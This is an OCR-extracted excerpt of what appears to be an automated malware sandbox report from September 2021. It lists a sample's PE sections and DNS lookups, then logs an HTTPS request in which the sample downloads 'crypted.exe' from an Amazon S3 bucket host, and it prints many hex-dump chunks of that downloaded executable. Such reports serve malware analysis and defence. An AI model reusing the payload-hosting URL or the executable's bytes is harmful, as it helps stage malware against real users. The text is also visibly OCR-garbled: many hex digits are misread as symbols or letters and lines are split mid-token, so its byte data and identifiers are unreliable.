0x3f68

0x134d0

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Raw Size Xored PE ZLIB Complexity File Type Entropy
0x1ba00 False 0.454927884615 data 6.27262317493
0x8800 False 0.299431295956 data 4.74885052463
0x23800 unknown unknown unknown unknown
0x4000 False 0.498046875 data 4.80279988584
0x13600 False 0.0702620967742 data 0.910567807007
Country where language is spoken
Poland
United States
Source IP Dest IP Trans ID OP Code Name
192.168.2.6 8.8.8.8 0x195d Standard query  api.ip.sb
(0)
192.168.2.6 8.8.8.8 0x486a Standard query  api.ip.sb
(0)
192.168.2.6 8.8.8.8 0x5c39 Standard query  cli-457634
0) 7563476534
786.s3.us-east-
2.ama
zonaws.com
192.168.2.6 8.8.8.8 0x20c2 Standard query  cli-457634
0) 7563476534
786.s3.us-east-
2.ama
zonaws.com

Type Class

A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
A (IP address) IN (0x0001)
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DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Sep 25, 2021 8.8.8.8 192.168.2.6 0x195d No error (0) api.ip.sb api.ip.sb.cdn.cloudflare.n CNAME IN (0x0001)
10:17:09.569423914 et (Canonical
CEST name)
Sep 25, 2021 8.8.8.8 192.168.2.6 0x486a No error (0) api.ip.sb api.ip.sb.cdn.cloudflare.n CNAME IN (0x0001)
10:17:09.602706909 et (Canonical
CEST name)
Sep 25, 2021 8.8.8.8 192.168.2.6 0x5¢c39 No error (0) cli-457634 s3-r-w.us-east- CNAME IN (0x0001)
10:17:18.573545933 7563476534 2.amazonaws.com (Canonical
CEST 786.s3.us-east- name)

2.ama

zonaws.com
Sep 25, 2021 8.8.8.8 192.168.2.6 0x5¢39 No error (0) s3-r-w.us-east- 52.219.104.152 A (IP address)  IN (0x0001)
10:17:18.573545933 2.ama
CEST zonaws.com
Sep 25, 2021 8.8.8.8 192.168.2.6 0x20c2 No error (0) cli-457634 s3-r-w.us-east- CNAME IN (0x0001)
10:17:18.602396011 7563476534 2.amazonaws.com (Canonical
CEST 786.s3.us-east- name)

2.ama

zonaws.com
Sep 25, 2021 8.8.8.8 192.168.2.6 0x20c2 No error (0) s3-r-w.us-east- 52.219.104.152 A (IP address)  IN (0x0001)
10:17:18.602396011 2.ama
CEST zonaws.com

HTTP Request Dependency Graph

e li-4576347563476534786.53.us-east-2.amazonaws.com

HTTPS Proxied Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49741 52.219.104.152 443 C:\Users\user\Desktop\eYvT1lg5Dy.exe
kBytes

Timestamp transferred Direction Data

2021-09-25 08:17:19 UTC 0 ouT GET /crypted.exe HTTP/1.1

Host: cli-4576347563476534786.53.us-east-2.amazonaws.com
Connection: Keep-Alive

2021-09-25 08:17:19 UTC 0 IN HTTP/1.1 200 OK
x-amz-id-2: NEAT6NS6ItDtwRtIYZ+RrsN63nzysp1hzYR/IC91b3KtSjWvhPIbCa9nHunQUaylrsCJu6PigEY=
x-amz-request-id: G3WXJJ2R56XYBKBD
Date: Sat, 25 Sep 2021 08:17:20 GMT
Last-Modified: Fri, 24 Sep 2021 22:06:55 GMT
ETag: "d508b954a785bdb77fdeffcd4c56f8e5"
x-amz-version-id: h8r.j4SDmc.A_8yNCUeqwlqg0.xjCJIX
Accept-Ranges: bytes
Content-Type: application/x-msdownload
Server: AmazonS3
Content-Length: 293376
Connection: close

2021-09-25 08:17:19 UTC 0 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6€ 6€ 6f 74 20 62 65 20 72 75 6€ 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 22 be 17 de 66 df 79 8d 66 df 79 8d 66 df 79 8d 09 a9 d2 8d 4d df 79 8d 09 a9 e7
8d 76 df 79 8d 09 a9 d3 8d 00 df 79 8d 6f a7 ea 8d 65 df 79 8d 66 df 78 8d 1a df 79 8d 09 a9 d6 8d 67 df 79 8d 09 a9 e3 8d
67 df 79 8d 09 a9 e4 8d 67 df 79 8d 52 69 63 68 66 df 79 8d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00
4c 01 05 00 14 Oc 9b 5f 00 00 00 00 00 00 00 00 e0 00 02
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$"fyfyfyMyvyyoeyfxygygygyRichfyPEL_

2021-09-25 08:17:19 UTC 16 IN Data Raw: 48 Oc 83 c9 20 8b 55 f8 89 4a Oc 83 c8 ff e9 ¢5 01 00 00 8b 45 8 8b 48 Oc 83 c9 02 8b 55 f8 89 4a Oc 8b 45 {8
8b 48 Oc 83 el ef 8b 55 {8 89 4a Oc 8b 45 8 ¢7 40 04 00 00 00 00 c7 45 fc 00 00 00 00 8b 4d fc 89 4d f4 8b 55 8 8b 42 Oc
25 0c 01 00 00 75 36 e8 c6 2c 00 00 83 c0 20 39 45 8 74 0d e8 b9 2c 00 00 83 c0 40 39 45 f8 75 10 8b 4d f0 51 e8 d8 90
00 00 83 c4 04 85 c0 75 Oc 8b 55 f8 52 e8 f8 8f 00 00 83 c4 04 8b 45 f8 8b 48 Oc 81 e1 08 01 00 00 Of 84 f9 00 00 00 8b 55
8 8b 45 f8 8b Oa 2b 48 08 79 21 68 d8 c4 41 00 6a 00 68 a0 00 00 00 68 58 c5 41 00 6a 02 e8 Oe 03 00 00 83 c4 14 83 f8
01 75 01 cc 8b 45 8 8b 4d 8 8b 10 2b 51 08 89 55 fc 8b 45 f8 8b 48 08 83 c1 01 8b 55 8 89 Oa 8b 45 f8 8b 48 18 83 €9
01 8b 55 8 89 4a 04 83 7d fc 00 7e 1c 8b 45 fc
Data Ascii: H UJIEHUJEHUJE@EMMUB%u6, 9Et, @9EUMQUUREHUE+Hy!hAjhhXAJuEM+QUEHUEHUJ}~E

2021-09-25 08:17:19 UTC 17 IN Data Raw: 00 00 00 8b e5 5d ¢3 cc cc cc cc cc cc 8b ff 55 8b ec 6a 01 68 17 04 00 cO 6a 02 e8 1d 00 00 00 83 c4 Oc 68
17 04 00 cO ff 15 04 b1 41 00 50 ff 15 00 b1 41 00 5d c3 cc cc cc cc cc cc 8b ff 55 8b ec 81 ec 38 03 00 00 al 88 41 42 00
33 ¢c5 89 45 f0 83 7d 08 ff 74 Oc 8b 45 08 50 €8 3c 58 00 00 83 c4 04 c7 85 c8 fc ff ff 00 00 00 00 6a 4c 6a 00 8d 8d cc fc ff
ff 51 e8 ef 17 00 00 83 c4 Oc 8d 95 c8 fc ff ff 89 55 f8 8d 85 20 fd ff ff 89 45 fc c7 45 f4 00 00 00 00 c¢7 85 1c fd ff ff 00 00 00
00 89 85 dO fd ff ff 89 8d cc fd ff ff 89 95 c8 fd ff ff 89 9d c4 fd ff ff 89 b5 cO fd ff ff 89 bd bc fd ff ff 66 8¢ 95 e8 fd ff ff 66 8¢
8d dc fd ff ff 66 8c 9d b8 fd ff ff 66 8¢ 85 b4 fd ff ff 66 8¢ a5 b0 fd ff ff 66 8¢ ad ac fd ff ff 9c 8f 85 e0 fd ff ff c7 85 20 fd ff ff
Data Ascii: JUjhjhAPAJUSAB3EREP<X|LjQU EEffffff
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kBytes
Timestamp transferred Direction Data

2021-09-25 08:17:19 UTC 33 IN Data Raw: 8b ec 83 ec 14 8b 45 18 ¢7 00 00 00 00 00 8b 4d 14 c¢7 01 01 00 00 00 8b 55 08 89 55 fc 83 7d Oc 00 74 11 8b
45 0c 8b 4d 10 89 08 8b 55 Oc 83 c2 04 89 55 Oc c7 45 f8 00 00 00 00 8b 45 fc Of be 08 83 f9 22 75 1f 33 d2 83 7d 8 00 Of
94 ¢2 89 55 f8 8b 45 fc 8a 08 88 4d f3 8b 55 fc 83 ¢2 01 89 55 fc eb 77 8b 45 18 8b 08 83 c1 01 8b 55 18 89 Oa 83 7d 10
00 74 13 8b 45 10 8b 4d fc 8a 11 88 10 8b 45 10 83 c0 01 89 45 10 8b 4d fc 8a 11 88 55 {3 8b 45 fc 83 c0 01 89 45 fc Of
b6 4d 3 51 e8 47 89 00 00 83 c4 04 85 c0 74 2f 8b 55 18 8b 02 83 c0 01 8b 4d 18 89 01 83 7d 10 00 74 13 8b 55 10 8b 45
fc 8a 08 88 0a 8b 55 10 83 c2 01 89 55 10 8b 45 fc 83 c0 01 89 45 fc Of b6 4d 3 85 c9 74 20 83 7d f8 00 Of 85 4d ff ff ff Of
b6 55 f3 83 fa 20 74 0d Of b6 45 f3 83 f8 09 Of
Data Ascii: EMUU{EMUUEE"u3}JUEMUUWEUREMEEMUEEMQGYUM}UEUUEEMt }MU tE

2021-09-25 08:17:19 UTC 34 IN Data Raw: 55 f8 52 ff 15 40 b1 41 00 33 cO eb 44 6a 00 6a 00 8b 45 fc 50 8b 4d ec 51 8b 55 f0 52 8b 45 f8 50 6a 00 6a 00
ff 15 44 b1 41 00 85 c0 75 15 6a 02 8b 4d ec 51 e8 b3 98 ff ff 83 c4 08 c7 45 ec 00 00 00 00 8b 55 8 52 ff 15 40 b1 41 00
8b 45 ec 8b e5 5d c3 cc cc cc cc cc cc cc cc 8b ff 56 be d4 24 42 00 8b c6 3d d4 24 42 00 73 13 8b 06 85 c0 74 02 ff dO
83 c6 04 81 fe d4 24 42 00 72 ed 5e c3 cc cc cc cc cc cc cc cc cc cc 8b ff 56 be dc 24 42 00 8b c6 3d dc 24 42 00 73 13
8b 06 85 c0 74 02 ff d0 83 c6 04 81 fe dc 24 42 00 72 ed 5e ¢3 cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a 00 ff 15 d8
b0 41 00 5d c3 cc 8b ff 55 8b ec ff 15 4¢c b1 41 00 5d c2 04 00 cc 8b ff 55 8b ec 51 al 64 44 42 00 50 ff 15 Oc b0 41 00 89
45 fc 83 7d fc 00 75 20 8b 0d ec 49 43 00 51
Data Ascii: UR@A3DjJEPMQUREP]jDAUMQEUR@AE]V$B=$Bst$Br"V$B=$Bst$Br*UjA]JULAJUQJDBPAE}u ICQ

2021-09-25 08:17:19 UTC 49 IN Data Raw: 01 74 19 8b 4d 10 51 8b 55 Oc 52 8b 45 08 50 €8 86 00 00 00 83 c4 Oc 89 45 e4 eb 3f e8 d9 71 ff ff c7 00 09 00
00 00 e8 fe 71 ff ff c7 00 00 00 00 00 c7 45 e4 ff ff ff ff 33 c9 75 1e 68 18 ea 41 00 6a 00 6a 4f 68 c8 eb 41 00 6a 02 €8 d8
7e ff ff 83 c4 14 83 f8 01 75 01 cc c7 45 fc fe ff ff ff €8 02 00 00 00 eb 0d 8b 45 08 50 e8 88 78 00 00 83 c4 04 c3 8b 45 e4
8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d €3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec b8 90 3¢
00 00 e8 21 25 00 00 al 88 41 42 00 33 c5 89 45 bc ¢7 45 e8 00 00 00 00 c7 45 e4 00 00 00 00 c7 45 fc 00 00 00 00 8b 45
fc 89 45 ec 83 7d 10 00 75 07 33 c0 €9 f1 0a 00 00 33 ¢9 83 7d Oc 00 Of 95 c1 89 4d e0 83 7d €0 00 75 1e 68 a0 ec 41 00
6a 00 6a 6d 68 c8 eb 41 00 6a 02 e8 28
Data Ascii: tMQUREPE?qqE3uhAjjOhAj~UEEPXEMdY_"[JU<!%AB3EEEEEE}u33}M}uhAjjmhAj(

2021-09-25 08:17:19 UTC 51 IN Data Raw: 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 fc 83 c0 01 89 45 fc eb Oe ff 15 74 b0 41 00 89 45 f4 e9 97 00 00 00 e9 8d
00 00 00 Of be 4d fb 83 f9 01 74 09 Of be 55 fb 83 fa 02 75 7b 0f b7 45 c0 50 e8 49 73 00 00 83 c4 04 0f b7 c8 0f b7 55 cO
3b ca 75 0b 8b 45 fc 83 c0 02 89 45 fc eb Ob ff 15 74 b0 41 00 89 45 f4 eb 52 83 7d b0 00 74 47 c7 45 c8 01 00 00 00 b9
0d 00 00 00 66 89 4d c0 Of b7 55 c0 52 e8 05 73 00 00 83 c4 04 0f b7 c0 0f b7 4d c0 3b c1 75 14 8b 55 fc 83 c2 01 89 55 fc
8b 45 ec 83 c0 01 89 45 ec eb 0b ff 15 74 b0 41 00 89 45 f4 eb 05 e9 74 fc ff ff €9 dc 04 00 00 8b 4d 08 c1 f9 05 8b 55 08
83 e2 1f cl e2 06 8b 04 8d 40 7b b7 02 Of be 4c 10 04 81 el 80 00 00 00 Of 84 6b 04 00 00 c7 45 f4 00 00 00 00 Of be 55
fb 85 d2 0f 85 3f 01 00 00 c7 85 ac eb ff ff
Data Ascii: UUEEtAEMtUU{EPISU;uEEtAER}tGEfMURSM;uUUEEtAEtMU@{LKEU?

2021-09-25 08:17:19 UTC 67 IN Data Raw: 45 f4 8b 48 08 89 0a 8b 55 f4 ¢7 42 04 00 00 00 00 8b 45 fc 8b e5 5d ¢3 cc cc cc cc cc 8b ff 55 8b ec 6a 01 €8
14 00 00 00 83 c4 04 5d €3 cC cC cC cC CC CC CC cC cC cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 88 28 42 00 68 00 49 40 00
64 a1 00 00 00 00 50 83 c4 ec 53 56 57 al 88 41 42 00 31 45 8 33 ¢5 50 8d 45 f0 64 a3 00 00 00 00 c7 45 e4 00 00 00 00
c7 45 dc 00 00 00 00 6a 01 e8 49 8a ff ff 83 c4 04 c7 45 fc 00 00 00 00 c7 45 e0 00 00 00 00 eb 09 8b 45 e0 83 c0 01 89
45 e0 8b 4d e0 3b 0d 60 8c b7 02 0f 8d f4 00 00 00 8b 55 €0 al 40 7c b7 02 83 3¢ 90 00 Of 84 dd 00 00 00 8b 4d €0 8b 15
40 7c b7 02 8b 04 8a 8b 48 Oc 81 e1 83 00 00 00 Of 84 c2 00 00 00 8b 55 €0 al 40 7c b7 02 8b Oc 90 51 8b 55 €0 52 e8 dc
63 ff ff 83 c4 08 c7 45 fc 01 00 00 00 8b 45 €0 8b
Data Ascii: EHUBE]Uj]Ujh(Bhl@dPSVWAB1E3PEdEEJIEEEEM; U@|<M@|HU@|QURCEE

2021-09-25 08:17:19 UTC 68 IN Data Raw: 00 6a 00 6a 13 68 a8 fb 41 00 68 c4 fe 41 00 68 68 fb 41 00 8 94 33 ff ff 83 c4 14 b8 16 00 00 00 e9 87 01 00
00 8b 4d 08 89 4d fc 8b 55 Oc 89 55 8 8b 45 fc 8b 4d 10 8a 11 88 10 8b 45 fc Of be 08 8b 55 fc 83 c2 01 89 55 fc 8b 45 10
83 c0 01 89 45 10 85 c9 74 0d 8b 4d 8 83 €9 01 89 4d 8 74 02 eb cd 83 7d 8 00 0f 85 cf 00 00 00 8b 55 08 c6 02 00 83
7d Oc ff 74 49 81 7d Oc ff ff ff 7f 74 40 83 7d Oc 01 76 3a 8b 45 Oc 83 8 01 39 05 08 40 42 00 73 Ob 8b 0d 08 40 42 00 89
4d e0 eb 09 8b 55 Oc 83 ea 01 89 55 0 8b 45 €0 50 68 fe 00 00 00 8b 4d 08 83 c1 01 51 8 ac 4b ff f 83 c4 Oc ba 40 fb 41
00 85 d2 74 0d 33 cO 74 09 c7 45 dc 01 00 00 00 eb 07 c7 45 dc 00 00 00 00 8b 4d dc 89 4d ec 83 7d ec 00 75 le 68 04 fb
4100 6a 00 6a Le 68 a8 fb 41 00 6a 02 e8 8b
Data Ascii: jhAhARhASMMUUEMEUUEEtMMtUNI@}v:E9 @Bs@BMUUEPhMQK @AttEEMMJuhAjihAj

2021-09-25 08:17:19 UTC 84 IN Data Raw: 10 52 8b 45 Oc 50 e8 62 03 00 00 83 c4 08 89 45 10 8d 4d f0 51 6a 00 8b 55 10 52 8b 45 08 50 8b 4d 10 51 8b
55 0c 52 6a 00 8d 4d €0 e8 cc el fe ff 8b 00 8b 48 04 51 ff 15 44 b1 41 00 89 45 fc 83 7d fc 00 74 33 83 7d f0 00 75 2d 8b
55 08 03 55 fc Of be 42 ff 85 c0 75 09 8b 4d fc 83 €9 01 89 4d fc 8b 55 fc 89 55 b8 8d 4d e0 8 5¢ el fe ff 8b 45 b8 e9 e3
02 00 00 €8 df e7 fe ff c7 00 2a 00 00 00 c7 45 bé ff ff ff ff 8d 4d €0 e8 3a el fe ff 8b 45 b4 €9 c1 02 00 00 €9 c3 01 00 00
8d 45 f0 50 6a 00 8b 4d 10 51 8b 55 08 52 6a ff 80 45 Oc 50 6a 00 8d 4d e €8 3f el fe ff 8b 08 8b 51 04 52 ff 15 44 b1 41
00 89 45 fc 83 7d fc 00 74 1 83 7d f0 00 75 19 8b 45 fc 83 e8 01 89 45 h0 8d 4d €0 e8 €3 €0 fe ff 8b 45 b0 €9 6a 02 00 00
83 7d f0 00 75 Ob ff 15 74 b0 41 00 83
Data Ascii: REPbEMQjUREPMQURjMHQDAE}3}u-UUBUMMUUM\E*EM:EEPIMQURJEP]M?QRDAEMUEEMEjJutA

2021-09-25 08:17:19 UTC 85 IN Data Raw: 01 00 00 00 8b 45 e4 89 45 f0 83 7d f0 00 75 21 68 90 10 42 00 6a 00 68 40 01 00 00 68 c8 0f 42 00 6a 02 e8
65 f1 fe ff 83 c4 14 83 f8 01 75 01 cc 83 7d f0 00 75 33 e8 21 e4 fe ff ¢7 00 16 00 00 00 6a 00 68 40 01 00 00 68 c8 Of 42
00 68 74 10 42 00 68 90 10 42 00 e8 50 ef fe ff 83 c4 14 b8 16 00 00 00 e9 85 02 00 00 83 7d Oc 00 74 55 8b 55 Oc c6 02
00 83 7d 10 ff 74 49 81 7d 10 ff ff ff 7f 74 40 83 7d 10 01 76 3a 8b 45 10 83 €8 01 39 05 08 40 42 00 73 Ob 8b 0d 08 40 42
00 89 4d e0 eb 09 8b 55 10 83 ea 01 89 55 e0 8b 45 €0 50 68 fe 00 00 00 8b 4d Oc 83 c1 01 51 e8 ab 07 ff ff 83 c4 Oc 83
7d 08 00 74 09 8b 55 08 ¢7 02 00 00 00 00 8b 45 18 3b 45 10 76 08 8b 4d 10 89 4d dc eb 06 8b 55 18 89 55 dc 8b 45 dc
89 45 {8 b9 ff ff ff 7f 3b 4d f8 1b d2 83 c2 01 89 55
Data Ascii: EE}ulhBjh@hBjeu}u3ljh@hBhtBhBP}tUUMIN@}v:E9@Bs@BMUUEPhMQHtUE;EVMMUUEE;MU

2021-09-25 08:17:19 UTC 101 IN Data Raw: 02 05 01 00 00 75 31 6a 00 ff 15 64 b0 41 00 6a 00 6a 00 ff 15 98 b0 41 00 68 f4 1f 42 00 68 30 20 42 00 68 40
20 42 00 ff 15 b4 b0 41 00 6a 00 6a 00 ff 15 94 b0 41 00 eb a6 c7 85 68 ef ff ff 00 00 00 00 eb Of 8b 95 68 ef ff ff 83 c2 01
89 95 68 ef ff ff 81 bd 68 ef ff ff bc 5f 0e 00 7d 7e 81 3d 00 7b b7 02 €2 09 00 00 75 2d 6a 00 6a 00 68 78 20 42 00 68 20
21 42 00 6a 00 ff 15 cO b0 41 00 6a 00 ff 15 20 b0 41 00 8d 85 28 ee ff ff 50 6a 00 ff 15 a4 b0 41 00 81 bd 68 ef ff ff 22 3b
00 00 75 Oc 8b 0d 44 48 43 00 89 0d 04 7b b7 02 81 3d 00 7b b7 02 b5 0d 00 00 75 1c 6a 00 6a 00 6a 00 6a 00 ff 15 40 bO
41 00 ff 15 38 b0 41 00 6a 00 ff 15 c8 b0 41 00 e9 67 ff ff ff c7 85 24 ee ff ff 00 00 00 00 eb Of 8b 95 24 ee ff ff 83 c2 01 89
95 24 ee ff ff 8b 85 24 ee ff
Data Ascii: uljdAjjJAhBhO Bh@ BAjjAhhhh_}~={u-jjhx Bh !BjAj A(PjAh";uDHC{={uijjjj@ABA|Ag$$$$

2021-09-25 08:17:19 UTC 102 IN Data Raw: 00 4e 2e 02 00 60 2e 02 00 76 2e 02 00 8c 2e 02 00 9c 2e 02 00 a8 2e 02 00 b8 2e 02 00 d0 2e 02 00 e2 2e 02
00 f4 2e 02 00 04 2f 02 00 14 2f 02 00 30 2f 02 00 40 2f 02 00 58 2f 02 00 6a 2f 02 00 7e 2f 02 00 96 2f 02 00 a6 2f 02 00
b4 2f 02 00 d2 2f 02 00 ec 2f 02 00 {8 2f 02 00 08 30 02 00 16 30 02 00 26 30 02 00 40 30 02 00 54 30 02 00 74 30 02 00
8a 30 02 00 9e 30 02 00 aa 30 02 00 c4 30 02 00 d8 30 02 00 e8 30 02 00 f6 30 02 00 Oe 31 02 00 36 31 02 00 46 31 02
0056 31 02 00 68 31 02 00 7e 31 02 00 90 31 02 00 a0 31 02 00 b0 31 02 00 ¢8 31 02 00 dc 31 02 00 ea 31 02 00 fe 31
02 00 12 32 02 00 2e 32 02 00 4c¢ 32 02 00 60 32 02 00 78 32 02 00 8a 32 02 00 b2 32 02 00 c0 32 02 00 d8 32 02 00 f2
3202 00 02 33 02 00 18 33 02 00 2e 33 02 00 48 33 02 00 5e 33
Data Ascii: N.".v........ 1101@/X/j/~II/1//00&0@0T0t00000000161F1V1h1~111111112.2L.2'2x22222233.3H3"3
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kBytes
Timestamp transferred Direction Data

2021-09-25 08:17:19 UTC 118 IN Data Raw: 00 7a 00 4c 00 69 00 6e 00 65 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 29 00 00 00 25 73 28 25 64 29
20 3a20 25 73 00 00 00 00 00 73 00 74 00 72 00 63 00 61 00 74 00 5f 00 73 00 28 00 73 00 7a 00 4c 00 69 00 6e 00 65
00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 00 22 00 5¢ 00 6e 00 22 00 2
9 00 00 00 0d 00 00 00 00 00 00 00 73 00 74 00 72 00 63 00 61 00 74 00 5f 00 73 00 28 00 73 00 7a 00 4c 00 69 00 6e 00
65 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 00 22 00 5¢ 00 72 00 22
00 29 00 00 00 73 00 74 00 72 00 63 00 61 00 74 00 5f 00 73 00 28 00 73 00 7a 00 4c 00 69 00 6e 00 65 00 4d 00 65 00
7300 73 00 61 00 67 00 65 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00
Data Ascii: zLineMessage)%s(%d) : %sstrcat_s(szLineMessage, 4096, "\n")strcat_s(szLineMessage, 4096, "\r")strc
at_s(szLineMessage, 4096,

2021-09-25 08:17:19 UTC 119 IN Data Raw: 63 74 65 72 73 20 69 6e 20 53 74 72 69 6e 67 00 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73
0028 00 73 00 7a 00 4f 00 75 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 32 00 2c 00 20 00 34 00 30 00 39 00
36 00 2c 00 20 00 22 00 5f 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 3a 00 20 00 53
00 74 00 72 00 69 00 6e 00 67 00 20 00 74 00 6f 00 6f 00 20 00 6¢ 00 6f 00 6e 00 67 00 20 00 6f 00 72 00 20 00 49 00 6e
00 76 00 61 00 6¢ 00 69 00 64 00 20 00 63 00 68 00 61 00 72 00 61 00 63 00 74 00 65 00 72 00 73 00 20 00 69 00 6e 00
20 00 53 00 74 00 72 00 69 00 6e 00 67 00 22 00 29 00 00 00 77 00 63 00 73 00 74 00 6f 00 6d 00 62 00 73 00 5f 00 73
00 28 00 28 00 28 00 76 00 6f 00 69 00 64 00 20 00 2a 00 29 00 30 00
Data Ascii: cters in Stringstrcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String
")westombs_s(((void *)0

2021-09-25 08:17:19 UTC 135 IN Data Raw: 65 74 41 43 50 00 00 37 02 47 65 74 4f 45 4d 43 50 00 00 72 01 47 65 74 43 50 49 6e 66 6f 00 Oa 03 49 73 56
61 6¢ 69 64 43 6f 64 65 50 61 67 65 00 18 04 52 74 6¢ 55 6e 77 69 6e 64 00 66 04 53 65 74 46 69 6¢ 65 50 6f 69 6e 74 65
7200 00 9a 01 47 65 74 43 6f 6e 73 6f 6¢ 65 43 50 00 00 ac 01 47 65 74 43 6f 6e 73 6f 6¢ 65 4d 6f 64 65 00 00 89 03 4f 75
74707574 44 65 62 75 67 53 74 72 69 6e 67 41 00 00 24 05 57 72 69 74 65 43 6f 6e 73 6f 6¢ 65 57 00 8a 03 4f 75 74 70
7574 44 65 62 75 67 53 74 72 69 6e 67 57 00 00 67 03 4d 75 6¢ 74 69 42 79 74 65 54 6f 57 69 64 65 43 68 61 72 00 04
03 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 00 2d 03 4c 43 4d 61 70 53 74 72 69 6e 67
57 00 00 69 02 47 65 74 53 74 72 69 6e 67 54 79 70 65 57
Data Ascii: etACP7GetOEMCPrGetCPInfolsValidCodePageRtlUnwindfSetFilePointerGetConsoleCPGetConsoleMod
eOutputDebugStringA$WriteConsoleWOutputDebugStringWgMultiByte TowWideCharlsProcessorFeaturePresent-LCM
apStringWiGetStringTypeW

2021-09-25 08:17:19 UTC 136 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

2021-09-25 08:17:19 UTC 152 IN Data Raw: a0 ce 9b 6d 30 42 84 5d da f4 55 66 aa 1la a6 f4 9a a2 37 0f 34 64 90 6e 42 5d 1d 4a a0 94 3f 41 06 b5 88 69 1f
el dc 81 24 ed 0f 03 72 cf 65 df da 54 d8 91 ee 3a fe 1e 3c e5 42 e5 c7 29 eb 70 9e b4 3c f6 fe ¢7 57 Oc 8¢ 78 3e 55 d6 a3
a0 29 c0 a3 c3 75 87 7f 4e b0 ca 58 d5 bf 40 00 08 59 e8 30 de 95 4a Oe eb e2 a3 97 b5 61 66 88 56 6¢ db 75 72 f3 5f 83
09 83 a0 1f 5a db ¢7 61 7f Oe 64 09 00 19 fO 1b e2 be 48 6e d2 b6 ff d5 76 01 f0 a0 2a d9 78 56 7f 72 cb Oa ae 10 1e 59 c3
00 fe 46 78 99 b1 c8 0a 66 67 1b fO cO el e0 86 10 da 47 be 07 68 Oa 8a 67 b3 dc f3 62 32 a7 b7 2¢ f6 74 c0 25 39 2f 8¢
8a fe 19 8f 3f a4 97 3 80 Oe ac c9 e0 1f cf ad e6 9d 00 4c ec 51 34 a4 5 6e 5a 67 bb 0d e5 Oe 8b 5¢ b7 ac bd 43 6e c2 11
59 16 25 61 56 a4 70 e3 1b cf 9d da 7b 68 fO
Data Ascii: mOB]Uf74dnB]J?Ai$reT:<B)p<Wx>U)uNX@Y0JafViur_ZadHnv*xVrYFxfgGhgb2,t%9/?LQ4nZg\CnY%aVp{h

2021-09-25 08:17:19 UTC 153 IN Data Raw: c8 4b 1c fb 9f cd 46 4a 2e 10 4a 5b a8 bf 87 25 8f b0 3a 79 43 6d 5¢ e4 aa 6d e3 le c6 34 42 a5 16 26 32 f2 df
3b 40 f3 ¢7 39 3a 4a 56 52 81 23 c2 5c 34 45 06 3b 6f 56 06 a4 15 bd 54 73 b8 8b 78 25 94 61 d4 b2 e6 f8 92 aa bc ff 43
59 bb bb b8 3 45 de 23 3b 8c 87 1e f5 6e 12 6f 18 2e 40 cf 95 80 d9 4a ea 3c 4d b9 6d b8 74 29 54 7b 03 ce 55 82 50 9c
42 25 3d ab Oe 05 07 81 59 d2 17 b2 cf 00 8d 55 12 ac da c3 0a 34 23 29 16 11 8c 0f a7 ¢3 92 fd 81 39 61 95 8f f0 21 19
b2 ac 57 d7 ad 25 2a 06 6b c1 cc 50 66 4d fc 80 e8 a0 3d 01 a8 53 bf Oe 49 48 1b 4f 03 Oa 78 3e 3f Of 1a f0 26 18 cc a6 44
